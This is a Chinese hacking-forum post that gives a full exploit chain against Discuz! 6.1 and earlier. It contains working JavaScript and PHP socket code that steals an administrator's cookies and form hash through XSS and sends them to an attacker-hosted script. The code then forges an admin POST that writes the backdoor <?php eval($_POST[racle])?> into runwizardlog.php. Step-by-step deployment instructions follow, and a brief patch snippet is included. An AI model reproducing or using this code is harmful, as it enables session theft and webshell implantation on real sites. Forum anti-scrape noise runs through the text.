找回密码
 立即注册
查看: 4586|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell+ {0 M  H6 L1 w0 z7 J% u2 G* w
By racle @tian6.com
+ R: e( Y5 e4 Y! b欢迎转帖.但请保留版权信息.
6 |$ e0 l; L" s( I% `/ u受影响版本iscuz<=6.1.0,gbk+utf+big5
9 \1 H1 X5 _! W: f( O% n4 V: O& b0 y9 `7 ]$ ?7 T( r
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
0 V( P/ U4 ?  i, w6 h
7 X2 O" ]$ w1 C  R0 s- R! E  U' f: S/ g
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706. ~" a, g7 J* Q9 |" m7 J# Y
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.4 F8 U$ A3 }3 R" A

$ `$ w* X* v8 \5 o5 M分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
+ w3 _7 r% Q# j本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
& F: |5 w, H, Z- v, z$ o+ O' f6 ~1 i# M" u& j

! d4 O+ o1 [* C0 H) d$ Z% O& j9 r----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
$ r. d2 B3 O, J8 [" c( G5 C5 S
* p' H1 L0 Z% h# E5 L- C4 B0 {5 [  v
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.2 v2 ~$ C1 h8 W$ p
* f. T. @7 `( x4 c  P% t0 j. `
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
# Y4 g7 R: j; s9 W* U" K' W1 W( o6 R$ z0 b. ?& N, ?9 z: x- v( S
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
$ I# ~$ Z; x8 s. ^2 D/ \- I) \, r# p: ?  f' B3 d

; r% B; K8 p# @: K9 |1 ^4 l下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {! V. K+ Q1 g, M+ y; ~

9 J" h9 T" D3 L! Y( N3 O  [        global $runwizardfile, $runwizardhistory;# z9 k! I0 G( E* b) M, t
6 I# q9 Z& o, O8 F3 n
        $fp = fopen($runwizardfile, 'w');
6 i( |4 r) p6 N  G. l# S, J8 q$ a/ `
        fwrite($fp, serialize($runwizardhistory));. i+ ]1 z) [/ ~8 m3 b8 D
5 a" P3 c" ?( M5 g9 Y
        fclose($fp);
" H: X5 o1 z6 C9 ^9 E9 u/ {, T4 [' ~6 t7 a* ?+ B# _
}
. s: m- g2 g) h, v) V6 F复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.9 ?( }& F4 w2 s2 }* _" i/ a; Q
以下是修补的办法:function saverunwizardhistory() {/ Z0 r/ x: }; t$ D
  H  ]* a6 T; {/ g: J9 ^4 z4 W' |
        global $runwizardfile, $runwizardhistory;
) y4 w: a- p& t* Z1 R9 P8 F
( ]' o# i+ P3 A# f        $fp = fopen($runwizardfile, 'w');; R, N7 r* L! n, C) ^
+ E. ]: u' n0 B: r7 w7 h8 f' U
        $s = '<?php exit;?>';. p1 K& n. T4 _) |

+ B. M) z5 x  k( Z$ G3 M        $s .= serialize($runwizardhistory);; {! ^( u) V7 i$ L3 n. O
1 }" P; j2 C: P7 J: x( a
        fwrite($fp, $s);
% h4 |8 _9 U: ?# Z& M7 T$ |- N0 X
3 |; I* `3 y3 N3 Y5 w+ n& m        fclose($fp);
3 c( B5 F$ W( L* ]$ Y/ \7 P$ O$ M0 w, H) V+ V
}
/ J: N1 D2 a0 y# B复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
& e5 u8 E# H8 J6 w: R. k
, T; W) D4 B% H% Y
5 e( g; k1 k. ^0 [0 C! r# e, u3 _2 d0 F$ |, P# r: A& D5 {# \
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------( E; N9 b. b5 M0 s5 F/ I
! b; ]+ b+ M$ A) b9 I

9 |3 Z7 R( c3 X4 o# Q9 e  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
& J& h. K; U; l2 T, d* K+ L5 O' G4 H: R* ~& m1 P7 A
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
  X" I5 i7 m$ Y' ^" I
3 x3 ~) ^3 g& m/ U! |: q这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.2 @+ Q3 f/ l$ B% k

. ?4 Q! F: ~7 E1 I# C6 G, a首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
0 N8 s) r  L% C# H. S
: I. x7 Q! i6 U) |8 svar url="http://目标网站/admincp.php";      + Q* t: H' f3 @5 ~3 _4 _1 \

3 N: q1 N/ I# z9 p; i3 C3 ?/*获得cookies*/0 }1 J3 y9 `8 T" ~# ~% R9 b  y6 R

9 z1 Z% O, e* l  {function getURL(s) {
% g9 @: Y6 b# }) O* |4 S9 ?$ J/ V5 D- x4 b
var image = new Image();
% S3 ^% ?8 q; b. `$ r! d
6 ?1 H7 [. n. D& Himage.style.width = 0;
0 H' ?6 n# M5 }/ b5 _/ I6 h# U) x- d) d$ X- Z# F. O0 U
image.style.height = 0;7 ]$ }) |3 u/ q  z% x5 @* n

% [* N' i0 U8 k8 m: U2 ^6 A* V9 Zimage.src = s;
! g& \* q. Y% ]  d! J" e$ Y; f6 v* c8 g* l
}
  Y# E4 q: V3 O  V& Q9 x8 F5 X
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php7 n% ~% B( V) b# x4 z! ^6 a
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
( m+ M$ U+ t% c# b5 r1 |; R复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)   ^4 W3 Y  K8 `4 {3 H! d# e

" y' Q# S, ~# T; |& w' S8 p; S1 H, O/ s; b2 R6 p
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";9 X8 O: l8 o1 H0 f! g5 Q5 M

* H" w! V$ B9 ~$ B4 Y4 Q8 f! ~8 c' L" {

4 o3 J8 w* G9 b' e/*hash*/
- a. X5 |4 Z. \1 |3 V/ n5 Y% ?! r
5 p$ Y8 Q" ~% |, P" Pvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
1 I. R- }; q/ i. T8 v' k- M" ]- Q1 D' [8 d0 u' v( }0 {% c! r
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);6 Y3 K5 C& H, i7 N+ ?' }) H

$ k1 ^6 E  `/ v6 v5 O+ N: g+ Y$ C' XxmlHttpReq.send();
) _* x3 G9 Y. L7 G/ z! Z
) {3 ?$ {1 J& ]  M6 O! _var resource = xmlHttpReq.responseText;
  t7 ?  a+ \7 a" h5 W
' G! K5 M) Y% s; L, M5 Q: vvar numero = resource.search(/formhash/);( `7 Z6 u4 j) X1 w' ]
, L' p; D3 X; d8 H- v' c. s% y
var formhash=encodeURIComponent(resource.substr(numero+17,8));, `! H& D2 t- }+ C/ B
* ]( `4 |& k& c9 h

! a, M3 \- ~; B8 A! W9 t% c0 m7 ]8 l) }- O2 S# }* R- y' A
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 ! |3 l0 Q/ Q/ O0 u# d, @0 p% F
; q6 J: o1 E5 F6 b( s! @
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
; p# Z$ I0 c$ _1 d+ h2 V
+ Q2 A2 \1 |$ Y/ {" I7 wxmlHttpReq.setRequestHeader("Referer", url);
7 N2 p7 r9 _) A/ c9 G) U9 A# X* N# X$ l  `% v  V( Q
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");2 j6 D0 _4 N  [4 J% F9 A. H

: o6 w4 j: ^  F8 t1 [0 ~xmlHttpReq.setrequestheader("content-length",post.length);   ]3 b* Y/ c6 F. p  p

# l5 f' ^9 \* I+ N' [- HxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
9 J1 ?# ]4 E" }  P7 s- W  K5 p+ E( J# t' W4 Q! H
xmlHttpReq.send(post);//发送数据
4 e' @$ \$ _  O  w复制代码这里HASH我假设正确,这样提交,也无须cookies; X: S$ ?6 d- a, z

. i! E8 z7 U# }/ M9 t+ X再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
2 f  W; _8 y+ C: E1 C8 S% ]
2 G% {! {4 Y) f8 q$ uif (!$sock) die("$errstr ($errno)\n");2 j. `# q% |% d9 G

  k) M, W- e: a8 A! m/ y$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
0 O0 u1 r" i6 j/ {8 ]
3 k: w' @! D, s9 T/ U- p3 M1 Y2 ^. a9 X: s) M2 m3 P

" D  @( s% y1 A! _4 qfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 r# _% @1 f" b* [, [
" _1 C- s; \$ ?- y7 {; {, Nfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
/ Z* J) p9 n/ `
4 o* D% _, w% i8 ^fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
- {, i& P$ V- e* u. E( }
, B  i% I1 H, e3 v, j. C* wfwrite($sock, "Accept-Language: zh-cn\r\n");$ E) q2 J/ Z+ ~! ]' R& _8 f1 g6 I

7 t+ s' u! X4 G9 s  E: Nfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
; o* \! ^. F7 z4 O7 v9 |
1 R- Z: h' L: nfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
/ |5 |+ M8 `/ H  d: T0 D
) T' B3 d% T; x) o4 h4 I, Zfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");% [1 V% y7 T+ `& I  i$ k9 H5 e

- R8 j! m2 F. [/ O2 E: l  ufwrite($sock, "Host: $url\r\n");
$ v4 Y, U! P( G. f% r. P" j* A4 S& g7 }+ ?: {! a) N
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");! I0 `/ k4 Q& N$ J# ~0 @! J& x5 \

1 ?2 u" @% `. O$ gfwrite($sock, "Connection: Keep-Alive\r\n");) U# Z0 k( f$ w
  j; W5 T6 V7 q$ `: t: ?
fwrite($sock, "Cache-Control: no-cache\r\n");
6 Q9 a3 T$ N! Z) Y  l8 [0 {( L5 Y6 Z& p5 v+ R. {7 E2 E
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
1 \; f: O& Y" V+ G& U) G: P9 w: `  J1 G: o9 m! A8 ~3 R
fwrite($sock, $data);
2 ?: Y- y6 o6 u' O* L& C
, t# e$ z! {; w/ w6 u1 m+ U
) x7 f6 j; p( N% Y8 D# o3 B8 N" W2 \  j# B7 I2 q
$headers = "";* J; [1 M9 B! y

) A& t$ S# @  Y" C. @while ($str = trim(fgets($sock, 4096)))
, [9 L0 s) Z7 A! R$ n$ D1 l) c2 P
     $headers .= "$str\n";/ [# j* l, g5 W% ?! a( E6 c
, }+ h6 p, m: @  n7 H1 M; v. q1 M
echo "\n";5 m* V. g' n, A  j* i

8 Q+ ?* q, f- O+ [& H- b/ {$body = "";  U, g1 U7 @5 v$ a5 c# l
( @) g! K6 B/ t5 d: g
while (!feof($sock)), H1 l1 N: v8 u
$ ^% A1 d( g0 ?  X8 Y
     $body .= fgets($sock, 4096);- D/ k7 d8 V3 o
: ?  u  t* G! m# K
fclose($sock);' L8 J4 x; Y4 W/ _+ Z% j2 Y4 |

7 z; G, n3 \2 secho $body;
7 F' v# N% b( W, C& p4 d复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^# H  @# Z. o8 k% K- j: U8 q( T0 s

( F/ u: N! \* U9 W
  a4 Y: l& P) i( \/ y7 A-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
# ]' q  x+ J! w/ \3 y* ]* d% l" j5 ]& c% u
4 q7 v( h0 W4 ]# D3 J- i
1HP SOCKET利用方法首先打开racle.js* a9 B# J3 [" y5 S3 Z8 F8 ^
5 P3 e7 x* [1 h6 A
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home" h, Q  U+ S$ G( C8 Q" T

" `# }; }' a( x; a4 J$ M$ k' r6 K1 m7 B$ \7 \
, J' r& R/ h6 M0 e
然后打开racle@tian6.php, v. A6 a( a. J! o0 u# u

% T# m# N3 s; w) ~$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
7 e( g8 P9 l/ d, l$ B( y$ G6 J
9 |% {0 M* u; k) e! i3 _. e( w: X' [0 z; Y, Y& o6 [1 \

7 h* u& s% s) p* i如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
7 ]( q' e8 [) ^9 R" T
: F! {; X1 M$ a' J6 j* ZgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));2 o: w8 @, A) \+ _  T

5 B! b5 }% u% m+ U; e0 b; ^; B' g8 [+ d) Z6 s. C

; c. f1 o; T2 X3 h! [getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));) @( n' h1 Z( j- R" p3 o& r
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.' C% B7 M& b$ Y, e7 `8 L* }4 E. B
1 F' i7 {' z5 c2 d& Q; b0 b$ [  U7 D1 [

8 \) w* z- j/ \% f. w. A, C0 Q- j8 f  {9 F
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:0 V! e2 j) A' ^7 s: G  l( M! H

3 F. `$ a  X9 d+ Q+ a9 ~3 |var formhash=encodeURIComponent(resource.substr(numero+17,8));
0 ?& t$ B0 O( I1 n9 ~2 c4 C+ X' m; q5 s! K. F

% j( X3 f8 ]7 Z" B; j3 U7 z% V
( B' l1 _! F! h# ^2 k, Uvar formhash=encodeURIComponent(resource.substr(numero+9,8));) r: Q' S" s( {
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.) m- S) M, c" F. V+ `6 [/ F
* v  Y( V- N# F- `3 T5 S
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
0 T/ _& _  t( |5 A7 E$ X$ U. g; F+ A9 c% L$ P6 U
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
3 _+ }; [9 w# Q+ r, z# `, W
& E- [) R9 ^( s- _: R5 `不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
" ^9 V: N. w2 V: \& b
" M- M6 j$ ]+ L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表